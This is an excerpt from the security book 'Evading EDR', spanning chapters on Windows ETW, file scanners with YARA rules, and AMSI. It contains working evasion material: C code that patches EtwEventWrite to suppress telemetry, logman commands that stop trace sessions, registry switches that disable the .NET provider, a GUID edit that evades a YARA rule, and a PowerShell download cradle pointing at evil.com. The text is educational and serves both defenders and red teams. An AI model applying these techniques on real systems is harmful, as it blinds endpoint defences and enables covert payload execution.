Listing 8-23 comes from our .NET event consumer. It shows the assembly-load event for the Seatbelt reconnaissance tool being loaded into memory via a command-and-control agent. AssemblyID: 0x266B1031DC0 AppDomainID: 0x26696BBA650 BindingID: 0x0 AssemblyFlags: 0 FullyQualifiedAssemblyName: Seatbelt, Version=1.0.0.0, --snip-- ClrInstanceID: 10 Listing 8-23: Consumer of the Microsoft-Windows-DotNETRuntime provider detecting Seatbelt being loaded From here, the agent can use the values as it pleases. If, for instance, the agent wanted to terminate any process that loads the Seatbelt assembly, it could use this event to trigger that preventive action. To instead act more passively, it could take the information collected from this event, supple- ment it with additional information about the originating process, and cre- ate its own event to feed into detection logic. Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   165 Evading ETW-Based Detections As we’ve demonstrated, ETW can be an incredibly useful method for col- lecting information from system components that would otherwise be impossible to get. The technology isn’t without its limitations, however. Because ETW was built for monitoring or debugging and not as a critical security component, its protections aren’t as robust as those of other sensor components. In 2021, Claudiu Teodorescu, Igor Korkin, and Andrey Golchikov of Binarly gave a great presentation at Black Hat Europe in which they cata- loged existing ETW evasion techniques and introduced new ones. Their talk identified 36 unique tactics for bypassing ETW providers and trace ses- sions. The presenters split these techniques into five groups: attacks from inside an attacker-controlled process; attacks on ETW environment vari- ables, the registry, and files; attacks on user-mode ETW providers; attacks on kernel-mode ETW providers; and attacks on ETW sessions. Many of these techniques overlap in other ways. Moreover, while some work across most providers, others target specific providers or trace sessions. Several of the techniques are also covered in Palantir’s blog post “Tampering with Windows Event Tracing: Background, Offense, and Defense.” To sum- marize both groups’ findings, this section breaks down the evasions into broader categories and discusses the pros and cons of each. Patching Arguably the most common technique for evading ETW in the offensive world is patching critical functions, structures, and other locations in memory that play some role in the emission of events. These patches aim to either completely prevent the provider from emitting events or selectively filter the events that it sends. You’ll most commonly see this patching take the form of function hook- ing, but attackers can tamper with numerous other components to alter event flow. For example, an attacker could null out the TRACEHANDLE used by the provider or modify its TraceLevel to prevent certain types of events from being emitted. In the kernel, an attacker could also modify structures such as the ETW_REG_ENTRY, the kernel’s representation of an event registration object. We’ll discuss this technique in greater detail in “Bypassing a .NET Consumer” on page XX. Configuration Modification Another common technique involves modifying persistent attributes of the system, including registry keys, files, and environment variables. A vast number of procedures fall into this category, but all generally aim to pre- vent a trace session or provider from functioning as expected, typically by abusing something like a registry-based “off” switch. Two examples of “off” switches are the COMPlus_ETWEnabled envi- ronment variable and the ETWEnabled value under the HKCU:\Software\ Microsoft\.NETFramework registry key. By setting either of these values to Evading EDR (Early Access) © 2023 by Matt Hand 166   Chapter 8 0, an adversary can instruct clr.dll, the image for the Microsoft-Windows- DotNETRuntime provider, not to register any TRACEHANDLE, preventing the provider from emitting ETW events. Trace-Session Tampering The next technique involves interfering with trace sessions already run- ning on the system. While this typically requires system-level privileges, an attacker who has elevated their access can interact with a trace session of which they are not the explicit owner. For example, an adversary may remove a provider from a trace session using sechost!EnableTraceEx2() or, more simply, using logman with the following syntax: logman.exe update trace TRACE_NAME --p PROVIDER_NAME --ets Even more directly, the attacker may opt to stop the trace entirely: logman.exe stop "TRACE_NAME" -ets Trace-Session Interference The final technique complements the previous one: it focuses on preventing trace sessions, most commonly autologgers, from functioning as expected before they are started, resulting in persistent changes to the system. One example of this technique is the manual removal of a provider from an autologger session through a modification of the registry. By delet- ing the subkey tied to the provider, HKLM:\SYSTEM\CurrentControlSet\ Control\WMI\Autologger\<AUTOLOGGER_NAME>\{PROVIDER_GUID}, or by setting its Enabled value to 0, the attacker can remove the provider from the trace session after the next reboot. Attackers could also take advantage of ETW’s mechanisms to prevent sessions from working as expected. For example, only one trace session per host can enable a legacy provider (as in MOF- or TMF-based WPP). If a new session enabled this provider, the original session would no longer receive the desired events. Similarly, an adversary could create a trace session with the same name as the target before the security product has a chance to start its session. When the agent attempts to start its session, it will be met with an ERROR_ALREADY_EXISTS error code. Bypassing a .NET Consumer Let’s practice evading ETW-based telemetry sources by targeting a .NET runtime consumer similar to the one we wrote earlier in this chapter. In his blog post “Hiding Your .NET—ETW,” Adam Chester describes how to pre- vent the common language runtime from emitting ETW events, keeping a sensor from identifying the loading of SharpHound, a C# tool that collects the data to be fed into the path-mapping attacker tool BloodHound. Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   167 The bypass works by patching the function responsible for emitting the ETW event, ntdll!EtwEventWrite(), and instructing it to return immediately upon entry. Chester discovered that this function was ultimately responsible for emitting the event by setting a breakpoint on this function in WinDbg and watching for calls from clr.dll. The syntax for setting this conditional breakpoint is as follows: bp ntdll!EtwEventWrite "r $t0 = 0; .foreach (p { k }) { .if ($spat(\"p\", \"clr!*\")) { r $t0 = 1; .break } }; .if($t0 = 0) { gc }" The conditional logic in this command tells WinDbg to parse the call stack (k) and inspect each line of the output. If any lines begin with clr!, indi- cating that the call to ntdll!EtwEventWrite() originated from the common lan- guage runtime, a break is triggered. If there are no instances of this substring in the call stack, the application simply continues. If we view the call stack when the substring is detected, shown in Listing 8-24, we can observe the common language runtime emitting events. 0:000> k # RetAddr Call Site 1 00 ntdll!EtwEventWrite 01 clr!CoTemplate_xxxqzh+0xd5 02 clr!ETW::LoaderLog::SendAssemblyEvent+0x1cd 2 03 clr!ETW::LoaderLog::ModuleLoad+0x155 04 clr!DomainAssembly::DeliverSyncEvents+0x29 05 clr!DomainFile::DoIncrementalLoad+0xd9 06 clr!AppDomain::TryIncrementalLoad+0x135 07 clr!AppDomain::LoadDomainFile+0x149 08 clr!AppDomain::LoadDomainAssemblyInternal+0x23e 09 clr!AppDomain::LoadDomainAssembly+0xd9 0a clr!AssemblyNative::GetPostPolicyAssembly+0x4dd 0b clr!AssemblyNative::LoadFromBuffer+0x702 0c clr!AssemblyNative::LoadImage+0x1ef 3 0d mscorlib_ni!System.AppDomain.Load(Byte[])$##60007DB+0x3b 0e mscorlib_ni!DomainNeutralILStubClass.IL_STUB_CLRtoCOM(Byte[]) 0f clr!COMToCLRDispatchHelper+0x39 10 clr!COMToCLRWorker+0x1b4 11 clr!GenericComCallStub+0x57 12 0x00000209`24af19a6 13 0x00000209`243a0020 14 0x00000209`24a7f390 15 0x000000c2`29fcf950 Listing 8-24: An abbreviated call stack showing the emission of ETW events in the common language runtime Reading from bottom to top, we can see that the event originates in System.AppDomain.Load(), the function responsible for loading an assembly into the current application domain 3. A chain of internal calls leads into the ETW::Loaderlog class 2, which ultimately calls ntdll!EtwEventWrite() 1. Evading EDR (Early Access) © 2023 by Matt Hand 168   Chapter 8 While Microsoft doesn’t intend for developers to call this function directly, the practice is documented. The function is expected to return a Win32 error code. Therefore, if we can manually set the value in the EAX register (which serves as the return value on Windows) to 0 for ERROR_SUCCESS, the function should immediately return, appearing to always complete successfully without emitting an event. Patching this function is a relatively straightforward four-step process. Let’s dive into it in Listing 8-25. #define WIN32_LEAN_AND_MEAN #include <Windows.h> void PatchedAssemblyLoader() { PVOID pfnEtwEventWrite = NULL; DWORD dwOldProtection = 0; 1 pfnEtwEventWrite = GetProcAddress( LoadLibraryW(L"ntdll"), "EtwEventWrite" ); if (!pfnEtwEventWrite) { return; } 2 VirtualProtect( pfnEtwEventWrite, 3, PAGE_READWRITE, &dwOldProtection ); 3 memcpy( pfnEtwEventWrite, "\x33\xc0\xc3", // xor eax, eax; ret 3 ); 4 VirtualProtect( pfnEtwEventWrite, 3, dwOldProtection, NULL ); --snip-- } Listing 8-25: Patching the ntdll!EtwEventWrite() function Evading EDR (Early Access) © 2023 by Matt Hand Event Tracing for Windows   169 We locate the entry point to ntdll!EtwEventWrite() in the currently loaded copy of ntdll.dll using kernel32!GetProcAddress() 1. After locating the function, we change the memory protections of the first three bytes (the size of our patch) from read-execute (rx) to read-write (rw) 2 to allow us to overwrite the entry point. Now all we have to do is copy in the patch using something like memcpy() 3 and then revert the memory protections to their original state 4. At this point, we can execute our assembly loader func- tionality without worrying about generating common language runtime loader events. We can use WinDbg to validate that ntdll!EtwEventWrite() will no longer emit events, as shown in Listing 8-26. 0:000> u ntdll!EtwEventWrite ntdll!EtwEventWrite: 00007ff8`7e8bf1a0 33c0 xor eax,eax 00007ff8`7e8bf1a2 c3 ret 00007ff8`7e8bf1a3 4883ec58 sub rsp,58h 00007ff8`7e8bf1a7 4d894be8 mov qword ptr [r11-18h],r9 00007ff8`7e8bf1ab 33c0 xor eax,eax 00007ff8`7e8bf1ad 458943e0 mov dword ptr [r11-20h],r8d 00007ff8`7e8bf1b1 4533c9 xor r9d,r9d 00007ff8`7e8bf1b4 498943d8 mov qword ptr [r11-28h],rax Listing 8-26: The patched ntdll!EtwEventWrite() function When this function is called, it will immediately clear the EAX register by setting it to 0 and return. This prevents the logic for producing ETW events from ever being reached and effectively stops the provider’s telem- etry from flowing to the EDR agent. Even so, this bypass has limitations. Because clr.dll and ntdll.dll are mapped into their own processes, they have the ability to tamper with the provider in a very direct manner. In most cases, however, the provider is running as a separate process outside the attacker’s immediate control. Patching the event-emission function in the mapped ntdll.dll won’t prevent the emission of events in another process. In his blog post “Universally Evading Sysmon and ETW,” Dylan Halls describes a different technique for preventing ETW events from being emit- ted that involves patching ntdll!NtTraceEvent(), the syscall that ultimately leads to the ETW event, in kernel mode. This means that any ETW event on the system routed through this syscall won’t be emitted while the patch is in place. This technique relies on the use of Kernel Driver Utility (KDU) to sub- vert Driver Signature Enforcement and InfinityHook to mitigate the risk of PatchGuard crashing the system if the patch were detected. While this tech- nique expands the ability to evade ETW-based detections, it requires a driver to be loaded and protected kernel-mode code to be modified, making it sub- ject to any mitigations to the techniques leveraged by KDU or InfinityHook. Evading EDR (Early Access) © 2023 by Matt Hand 170   Chapter 8 Conclusion ETW is one of the most important technologies for collecting host-based telemetry on Windows. It provides an EDR with visibility into components and processes, such as the Task Scheduler and local DNS client, that no other sensor can monitor. An agent can consume events from nearly any providers it finds and use that information to gain an immense amount of context about system activities. Evasion of ETW is well researched, with most strategies focusing on disabling, unregistering, or otherwise render- ing a provider or consumer unable to handle events. Evading EDR (Early Access) © 2023 by Matt Hand Nearly every EDR solution includes a compo- nent that accepts data and tries to determine whether the content is malicious. Endpoint agents use it to assess many different data types, such as files and memory streams, based on a set of rules that the vendor defines and updates. This compo- nent, which we’ll refer to as the scanner for simplicity’s sake, is one of the oldest and best-studied areas in secu- rity from both the defensive and offensive angles. Because covering all aspects of their implementation, processing logic, and signatures would be like trying to boil the ocean, this chapter focuses on the rules employed by file-based scanners. Scanner rules differentiate one product’s scanner from another (barring major performance differ- ences or other technical capabilities). And on the offensive side, it’s the scanner rules rather than the implementation of the scanner itself that adversaries must evade. 9 SC A N N E R S Evading EDR (Early Access) © 2023 by Matt Hand 172   Chapter 9 A Brief History of Antivirus Scanning We don’t know who invented the antivirus scanning engine. German secu- rity researcher Bernd Fix developed some of the first antivirus software, in 1987, to neutralize the Vienna virus, but it wasn’t until 1991 that the world saw an antivirus scanning engine that resembles the ones in use today; FRISK Software’s F-PROT antivirus would scan a binary to detect any reor- dering of its sections, a pattern that malware developers of the time com- monly employed to jump execution to the end of the file, where they had placed malicious code. As viruses became more prevalent, dedicated antivirus agents became a requirement for many companies. To meet this demand, vendors such as Symantec, McAfee, Kaspersky, and F-Secure brought their scanners to mar- ket in the 1990s. Regulatory bodies began enforcing the use of antivirus to protect systems, further promoting their adoption. By the 2010s, it was nearly impossible to find an enterprise environment without antivirus soft- ware deployed on most of its endpoints. This broad adoption lulled many directors of information-security programs into a false sense of security. While these antimalware scan- ners had some success in detecting commodity threats, they missed more advanced threat groups, which were achieving their objectives without detection. In May 2013, Will Schroeder, Chris Truncer, and Mike Wright released their tool, Veil, which opened many people’s eyes to this overreliance on antivirus scanners. Veil’s entire purpose was to create payloads that bypassed antivirus by employing techniques that broke legacy detection rulesets. These techniques included string- and variable-name obfuscation, less common code-injection methods, and payload encryption. During offensive security engagements, they proved that their tool could effectively evade detection, causing many companies to reevaluate the value of the antivirus scanners they paid for. Simultaneously, antivirus vendors began rethinking how to approach the problem of detection. While it’s hard to quantify the impact of Veil and other tools aimed at tackling the same problem, these tools undoubtedly moved the needle, leading to the creation of more robust endpoint detection solutions. These newer solutions still make use of scanners, which contribute to the overall detection strategies, but they have grown to include other sen- sors that can provide coverage when the scanners’ rulesets fail to detect malware. Scanning Models Scanners are software applications that the system should invoke when appropriate. Developers must choose between two models to determine when their scanner will run. This decision is more complex and important than it may seem at face value. Evading EDR (Early Access) © 2023 by Matt Hand Scanners   173 On Demand The first model, on-demand scanning, instructs a scanner to run at some set time or when explicitly requested to do so. This type of scanning typically interacts with a large number of targets (for example, files and folders) on each execution. The Quick Scan feature in Microsoft Defender, shown in Figure 9-1, may be the most familiar example of this model. Figure 9-1: Defender’s Quick Scan feature in action When implementing this model, developers must consider the potential performance impacts on the system caused by the scanner processing thou- sands of files at once. On resource-constrained systems, it might be best to run this type of scan during off-hours (for example, 2 am every Tuesday) than to run a full scan during working hours. The other major downside of this model involves the period of time between each scan. Hypothetically, an attacker could drop malware on the system after the first scan, execute it, and remove it before the next scan, to evade detection. On Access During on-access scanning, often referred to as real-time protection, the scanner assesses an individual target while some code is interacting with it or when a suspicious activity occurs and warrants investigation. You’ll most often find this model paired with another component that can receive notifica- tions when something interacts with the target object, such as a filesystem minifilter driver. For example, the scanner might investigate a file when it is downloaded, opened, or deleted. Microsoft Defender implements this model on all Windows systems, as shown in Figure 9-2. Figure 9-2: Defender’s real-time protection feature enabled by default Evading EDR (Early Access) © 2023 by Matt Hand 174   Chapter 9 The on-access scanning approach generally causes more of a head- ache for adversaries because it removes the ability to abuse the periods of time between on-demand scans. Instead, attackers are left trying to evade the ruleset used by the scanner. Let’s now consider how these rulesets work. Rulesets At the heart of every scanner is a set of rules that the engine uses to assess the content to be scanned. These rules more closely resemble dictionary entries than firewall rules; each rule contains a definition in the form of a list of attributes that, if identified, signals that the content should be treated as malicious. If the scanner detects a match for a rule, it will take some predetermined action, such as quarantining the file, killing the process, or alerting the user. When designing scanner rules, developers hope to capture a unique attri- bute of a piece of malware. These features can be specific, like the names or cryptographic hashes of files, or they can be broader, such as DLLs or func- tions that the malware imports or a series of opcodes that serve some critical function. Developers might base these rules on known malware samples detected outside the scanner. Sometimes other groups even share information about the sample with a vendor. The rules can also target malware families or techniques more generally, such as a known group of APIs used by ransom- ware, or strings like bcdedit.exe, which might indicate that malware is trying to modify the system. Vendors can implement both types of rules in whatever ratio makes sense for their product. Generally, vendors that heavily rely on rules specific to known malware samples will generate fewer false positives, while those that make use of less-specific indicators will encounter fewer false negatives. Because rulesets are made up of hundreds or thousands of rules, vendors can balance the ratio of specific to less-specific detec- tions to meet the false-positive and false-negative tolerances of their customers. Vendors each develop and implement their own rulesets, but products tend to have a lot of overlap. This is beneficial to consumers, as the overlap ensures that no single scanner dominates the marketplace based on its abil- ity to detect the “threat du jour.” To illustrate this, take a look at the results of a query in VirusTotal (an online service used to investigate suspicious files, IPs, domain names, and URLs). Figure 9-3 shows a phishing lure asso- ciated with FIN7, a financially motivated threat group, detected by 33 secu- rity vendors, demonstrating the overlap of these rulesets. There have been many attempts to standardize scanner rule formats to facilitate the sharing of rules between vendors and the security commu- nity. At the time of this writing, the YARA rule format is the most widely adopted, and you’ll see it used in open source, community-driven detection efforts as well as by EDR vendors. Evading EDR (Early Access) © 2023 by Matt Hand Scanners   175 Case Study: YARA Originally developed by Victor Alvarez of VirusTotal, the YARA format helps researchers identify malware samples by using textual and binary pat- terns to detect malicious files. The project provides both a stand-alone exe- cutable scanner and a C programming language API that developers can integrate into external projects. This section explores YARA, as it provides a great example of what a scanner and its rulesets look like, has fantastic documentation, and is widely used. Understanding YARA Rules YARA rules use a simple format: they begin with metadata about the rule, fol- lowed by a set of strings describing the conditions to be checked and a Boolean expression that describes the rule logic. Consider the example in Listing 9-1. rule SafetyKatz_PE { 1 meta: description = "Detects the default .NET TypeLibGuid for SafetyKatz" reference = "https://github.com/GhostPack/SafetyKatz" author = "Matt Hand" 2 strings: $guid = "8347e81b-89fc-42a9-b22c-f59a6a572dec" ascii nocase wide condition: (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $guid } Listing 9-1: A YARA rule for detecting the public version of SafetyKatz Figure 9-3: VirusTotal scan results for a file associated with FIN7 Evading EDR (Early Access) © 2023 by Matt Hand 176   Chapter 9 This simple rule, called SafetyKatz_PE, follows a format commonly used to detect off-the-shelf .NET tooling. It begins with some metadata contain- ing a brief description of the rule, a reference to the tool it aims to detect, and the date on which it was created 1. This metadata has no bearing on the scanner’s behavior, but it does provide some useful context about the rule’s origins and behavior. Next is the strings section 2. While optional, it houses useful strings found inside the malware that the rule’s logic can reference. Each string has an identifier, beginning with a $, and a function, like in a variable dec- laration. YARA supports three different types of strings: plaintext, hexa- decimal, and regular expressions. Plaintext strings are the most straightforward, as they have the least variation, and YARA’s support of modifiers makes them especially powerful. These modifiers appear after the contents of the string. In Listing 9-1, the string is paired with the modifiers ascii nocase wide, which means that the string should be checked without sensitivity to case in both ASCII and wide formats (the wide format uses two bytes per character). Additional modi- fiers, including xor, base64, base64wide, and fullword, exist to provide even more flexibility when defining a string to be processed. Our example rule uses only one plaintext string, the GUID for TypeLib, an artifact created by default in Visual Studio when a new project is begun. Hexadecimal strings are useful when you’re searching for non-printable characters, such as a series of opcodes. They’re defined as space-delimited bytes enclosed in curly brackets (for example, $foo = { BE EF }). Like plaintext strings, hexadecimal strings support modifiers that extend their functional- ity. These include wildcards, jumps, and alternatives. Wildcards are really just placeholders that say “match anything here” and are denoted with a question mark. For example, the string { BE ?? } would match anything from { BE 00 } to { BE FF} appearing in a file. Wildcards are also nibble-wise, meaning that the rule author can use a wildcard for either nibble of the byte, leaving the other one defined, which allows the author to scope their search even further. For example, the string { BE E? } would match anything from { BE E0 } to { BE EF}. In some situations, the content of a string can vary, and the rule author might not know the length of these variable chunks. In that case, they can use a jump. Jumps are formatted as two numbers delimited with a hyphen and enclosed in square brackets. They effectively mean “the values starting here and ranging from X to Y bytes in length are variable.” For example, the hexadecimal string $foo = { BE [1-3] EF } would match any of the following: BE EE EF BE 00 B1 EF BE EF 00 BE EF Another modifier supported by hexadecimal strings is alternatives. Rule authors use these when working with a portion of a hex string that has mul- tiple possible values. The authors delimit these values with pipes and store them in parentheses. There is no limit to the number or size of alternatives in a string. Additionally, alternatives can include wildcards to expand their Evading EDR (Early Access) © 2023 by Matt Hand Scanners   177 utility. The string $foo = { BE ( EE | EF BE | ?? 00 ) EF } would match any of the following: BE EE EF BE EF BE EF BE EE 00 EF BE A1 00 EF The final and only mandatory section of a YARA rule is called the condition. Conditions are Boolean expressions that support Boolean opera- tors (for example, AND), relational operators (for example, !=), and the arithmetic and bitwise operators (for example, + and &) for numerical expressions. Conditions can work with strings defined in the rule while scanning the file. For example, the SafetyKatz rule makes sure that the TypeLib GUID is present in the file. But conditions can also work without the use of strings. The first two conditions in the SafetyKatz rule check for the two-byte value 0x4D5A (the MZ header of a Windows executable) at the start of the file and the four-byte value 0x00004550 (the PE signature) at offset 0x3C. Conditions can also operate using special reserved variables. For example, here is a condition that uses the filesize special variable: filesize < 30KB. It will return true if the total file size is less than 30KB. Conditions can support more complex logic with additional operators. One example is the of operator. Consider the example shown in Listing 9-2. rule Example { strings: $x = "Hello" $y = "world" condition: any of them } Listing 9-2: Using YARA’s of operator This rule returns true if either the "Hello" string or the "world" string is found in the file being scanned. Other operators exist, such as all of, for when all strings must be present; N of, for when some subset of the strings must be present; and the for ... of iterator, to express that only some occurrences of the string should satisfy the rule’s conditions. Reverse-Engineering YARA Rules In production environments, you’ll commonly find hundreds or even thou- sands of rules analyzing files correlating to malware signatures. There are over 200,000 signatures in Defender alone, as shown in Listing 9-3. PS > $signatures = (Get-MpThreatCatalog).ThreatName PS > $signatures | Measure-Object -Line | select Lines Evading EDR (Early Access) © 2023 by Matt Hand 178   Chapter 9 Lines ----- 222975 PS > $signatures | Group {$_.Split(‘:’)[0]} | >> Sort Count -Descending | >> select Count,Name -First 10 Count Name ----- ---- 57265 Trojan 28101 TrojanDownloader 27546 Virus 19720 Backdoor 17323 Worm 11768 Behavior 9903 VirTool 9448 PWS 8611 Exploit 8252 TrojanSpy Listing 9-3: Enumerating signatures in Defender The first command extracts the threat names, a way of identifying specific or closely related pieces of malware (for example, VirTool:MSIL/ BytzChk.C!MTB), from Defender’s signature catalog. The second com- mand then parses each threat name for its top-level category (for example, VirTool) and returns a count of all signatures belonging to the top levels. To the user, however, most of these rules are opaque. Often, the only way to figure out what causes one sample to be flagged as malicious and another to be deemed benign is manual testing. The DefenderCheck tool helps automate this process. Figure 9-4 shows a contrived example of how this tool works under the hood. Figure 9-4: DefenderCheck’s binary search DefenderCheck splits a file in half, then scans each half to determine which one holds the content that the scanner deemed malicious. It recur- sively repeats this process on every malicious half until it has identified the specific byte at the center of the rule, forming a simple binary search tree. Evading EDR (Early Access) © 2023 by Matt Hand Scanners   179 Evading Scanner Signatures When trying to evade detection by a file-based scanner such as YARA, attackers typically attempt to generate false negatives. In short, if they can figure out what rules the scanner is employing to detect some rele- vant file (or at least make a satisfactory guess at this), they can potentially modify that attribute to evade the rule. The more brittle the rule, the easier it is to evade. In Listing 9-4, we use dnSpy, a tool for decompiling and modifying .NET assemblies, to change the GUID in the compiled SafetyKatz assembly so that it evades the brittle YARA rule shown earlier in this chapter. using System; using System.Diagnostics; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security; using System.Security.Permissions; [assembly: AssemblyVersion("1.0.0.0")] [assembly: CompilationRelaxations(8)] [assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)] [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] [assembly: AssemblyTitle("SafetyKatz")] [assembly: AssemblyDescription(" ")] [assembly: AssemblyConfiguration(" ")] [assembly: AssemblyCompany(" ")] [assembly: AssemblyProduct("SafetyKatz")] [assembly: AssemblyCopyright("Copyright © 2018")] [assembly: AssemblyTrademark(" ")] [assembly: ComVisible(false)] [assembly: Guid("01234567-d3ad-b33f-0000-0123456789ac")] 1 [assembly: AssemblyFileVersion("1.0.0.0")] [assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] [module: UnverifiableCode] Listing 9-4: Modifying the GUID in the assembly using dnSpy If a detection is built solely around the presence of SafetyKatz’s default assembly GUID, the change made to the GUID here 1 would evade the rule entirely. This simple evasion highlights the importance of building detections based on a sample’s immutable attributes (or at least those that are more difficult to modify) to compensate for the more brittle rules. This is not to discount the value of these brittle rules, which could detect off-the-shelf Mimikatz, a tool very rarely used for legitimate purposes. However, add- ing a more robust companion (one whose false-positive rate is higher and false-negative rate is lower) fortifies the scanner’s ability to detect samples that have been modified to evade the existing rules. Listing 9-5 shows an example of this using SafetyKatz. Evading EDR (Early Access) © 2023 by Matt Hand 180   Chapter 9 rule SafetyKatz_InternalFuncs_B64MimiKatz { meta: description = "Detects the public version of the SafetyKatz tool based on core P/Invokes and its embedded base64-encoded copy of Mimikatz" reference = "https://github.com/GhostPack/SafetyKatz" author = "Matt Hand" strings: $mdwd = "MiniDumpWriteDump" ascii nocase wide $ll = "LoadLibrary" ascii nocase wide $gpa = "GetProcAddress" ascii nocase wide $b64_mimi = "zL17fBNV+jg8aVJIoWUCNFC1apCoXUE" ascii wide condition: ($mdwd and $ll and $gpa) or $b64_mimi } Listing 9-5: YARA rule to detect SafetyKatz based on internal function names and Base64 substrings You could pass this rule to YARA via the command line to scan the base version of SafetyKatz, as is shown in Listing 9-6. PS > .\yara64.exe -w -s .\safetykatz.rules C:\Temp\SafetyKatz.exe >> SafetyKatz_InternalFuncs_B64MimiKatz C:\Temp\SafetyKatz.exe 0x213b:$mdwd: 1 MiniDumpWriteDump 0x256a:$ll: LoadLibrary 0x2459:$gpa: GetProcAddress 0x25cd:$b64_mimi: 2 z\x00L\x001\x007\x00f\x00B\x00N\x00V\x00+\x00j\x00g\x008\x00a\x00V\x00J\x00I\x00o \x00W\x00U\x00C\x00N\x00F\x00C\x001\x00a\x00p\x00C\x00o\x00X\x00U\x00E\x00 Listing 9-6: Detecting SafetyKatz using the new YARA rule In the YARA output, we can see that the scanner detected both the sus- picious functions 1 and Base64 substring 2. But even this rule isn’t a silver bullet against evasion. An attacker could further modify the attributes from which we’ve built the detection, such as by moving from P/Invoke, the native way of calling unmanaged code from .NET, to D/Invoke, an alternative to P/Invoke that performs the same func- tion, avoiding the suspicious P/Invokes that an EDR may be monitoring for. They could also use syscall delegates or modify the embedded copy of Mimikatz such that the first 32 bytes of its encoded representation differ from that in the rule. There is one other way to avoid detection by scanners. In modern red teaming, most adversaries avoid touching disk (writing files to the filesys- tem). If they can operate entirely in memory, file-based scanners no longer pose a concern. For example, consider the /ticket:base64 command line option in Rubeus, a tool for interacting with Kerberos. By using this flag, attackers can prevent a Kerberos ticket from being written to the target’s filesystem and instead have it returned through console output. Evading EDR (Early Access) © 2023 by Matt Hand Scanners   181 In some situations, attackers can’t avoid writing files to disk, such as in the case of SafetyKatz’s use of dbghelp!MiniDumpWriteDump(), which requires the memory dump to be written to a file. In these situations, it’s important for attackers to limit the exposure of their files. This most commonly means immediately retrieving a copy of the files and removing them from the tar- get, obscuring filenames and paths, or protecting the content of the file in some way. While potentially less sophisticated than other sensors, scanners play an important part in detecting malicious content on the host. This chapter covers only file-based scanners, but commercial projects frequently employ other types, including network-based and memory scanners. At an enter- prise scale, scanners can also offer interesting metrics, such as whether a file is globally unique. They present a particular challenge for adversaries and serve as a great representation of evasion in general. You can think of them as black boxes through which adversary tooling passes; the adversary’s job is to modify the attributes within their control, namely the elements of their malware, to make it to the other end. Conclusion Scanners, especially those related to antivirus engines, are one of the first defensive technologies many of us encounter. Though they fell out of favor due to the brittleness of their rulesets, they have recently regained popular- ity as a supplemental feature, employing (at times) more robust rules than other sensors such as minifilters and image-load callback routines. Still, evading scanners is an exercise in obfuscation rather than avoidance. By changing indicators, even simple things like static strings, an adversary can usually fly under the radar of most modern scanning engines. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand As security vendors began building effec- tive tools for detecting the deployment and execution of compiled malware, attackers were left searching for alternative methods to execute their code. One of the tactics they discovered is the creation of script-based, or fileless, malware, which relies on the use of tools built into the operating system to execute code that will give the attacker con- trol over the system. To help protect users against these novel threats, Microsoft introduced the Antimalware Scan Interface (AMSI) with the release of Windows 10. AMSI provides an interface that allows application developers to leverage antimal- ware providers registered on the system when determining if the data with which they are working is malicious. AMSI is an omnipresent security feature in today’s operating envi- ronments. Microsoft has instrumented many of the scripting engines, 10 A N T IM A LWA R E SC A N IN T E R FACE Evading EDR (Early Access) © 2023 by Matt Hand 184   Chapter 10 frameworks, and applications that we, as attackers, routinely target. Nearly every EDR vendor ingests events from AMSI, and some go so far as to attempt to detect attacks that tamper with the registered providers. This chapter covers the history of AMSI, its implementation in different Windows components, and the diverse world of AMSI evasions. The Challenge of Script-Based Malware Scripting languages offer a large number of advantages over compiled languages. They require less development time and overhead, bypass appli- cation allow-listing, can execute in memory, and are portable. They also provide the ability to use the features of frameworks such as .NET and, oftentimes, direct access to the Win32 API, which greatly extends the func- tionality of the scripting language. While script-based malware existed in the wild prior to AMSI’s cre- ation, the 2015 release of Empire, a command-and-control framework built around PowerShell, made its use mainstream in the offensive world. Because of its ease of use, default integration into Windows 7 and above, and large amount of existing documentation, PowerShell became the de facto language for offensive tool development for many. This boom in script-based malware caused a large defensive gap. Previous tools relied on the fact that malware would be dropped to disk and executed. They fell short when faced with malware that ran a Microsoft-signed executable installed on the system by default, some- times referred to as living-off-the-land, such as PowerShell. Even agents that attempted to detect the invocation of malicious scripts struggled, as attackers could easily adapt their payloads and tools to evade the detec- tion techniques employed by vendors. Microsoft itself highlights this problem in its blog post announcing AMSI, which provides the follow- ing example. Say that a defensive product searched a script for the string “malware” to determine whether it was malicious. It would detect the fol- lowing code: PS > Write-Host "malware"; Once malware authors became aware of this detection logic, they could bypass the detection mechanism using something as simple as string concatenation: PS > Write-Host "mal" + "ware"; To combat this, developers would attempt some basic type of language emulation. For example, they might concatenate strings before scanning the contents of the script block. Unfortunately, this approach is prone to error, as languages often have many different ways to represent data, and cataloging them all for emulation is very difficult. Antimalware developers did have some success with the technique, however. As a result, malware Evading EDR (Early Access) © 2023 by Matt Hand Antimalware Scan Interface   185 developers raised the complexity of their obfuscation slightly with tech- niques such as encoding. The example in Listing 10-1 shows the string “mal- ware” encoded using Base64 in PowerShell. PS > $str = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String( >> "bWFsd2FyZQ==")); PS > Write-Host $str; Listing 10-1: Decoding a Base64 string in PowerShell Agents again leveraged language emulation to decode data in the script and scan it for malicious content. To combat this success, malware develop- ers moved from simple encoding to encryption and algorithmic encoding, such as with exclusive-or (XOR). For example, the code in Listing 10-2 first decodes the Base64-encoded data and then uses the two-byte key gg to XOR the decoded bytes. $key = "gg" $data = "CgYLEAYVAg==" $bytes = [System.Convert]::FromBase64String($data); $decodedBytes = @(); for ($i = 0; $i -lt $bytes.Count; $i++) { $decodedBytes += $bytes[$i] -bxor $key[$i % $key.Length]; } $payload = [system.Text.Encoding]::UTF8.getString($decodedBytes); Write-Host $payload; Listing 10-2: An XOR example in PowerShell This trend toward encryption exceeded what the antimalware engines could reasonably emulate, so detections based on the presence of the obfus- cation techniques themselves became commonplace. This presents its own challenges, due to the fact that normal, benign scripts sometimes employ what may look like obfuscation. The example Microsoft put forward in its post, and one that became the standard for executing PowerShell code in memory, is the download cradle in Listing 10-3. PS > Invoke-Expression (New-Object Net.Webclient). >> downloadstring("https://evil.com/payloadl.ps1") Listing 10-3: A simple PowerShell download cradle In this example, the .NET Net.Webclient class is used to 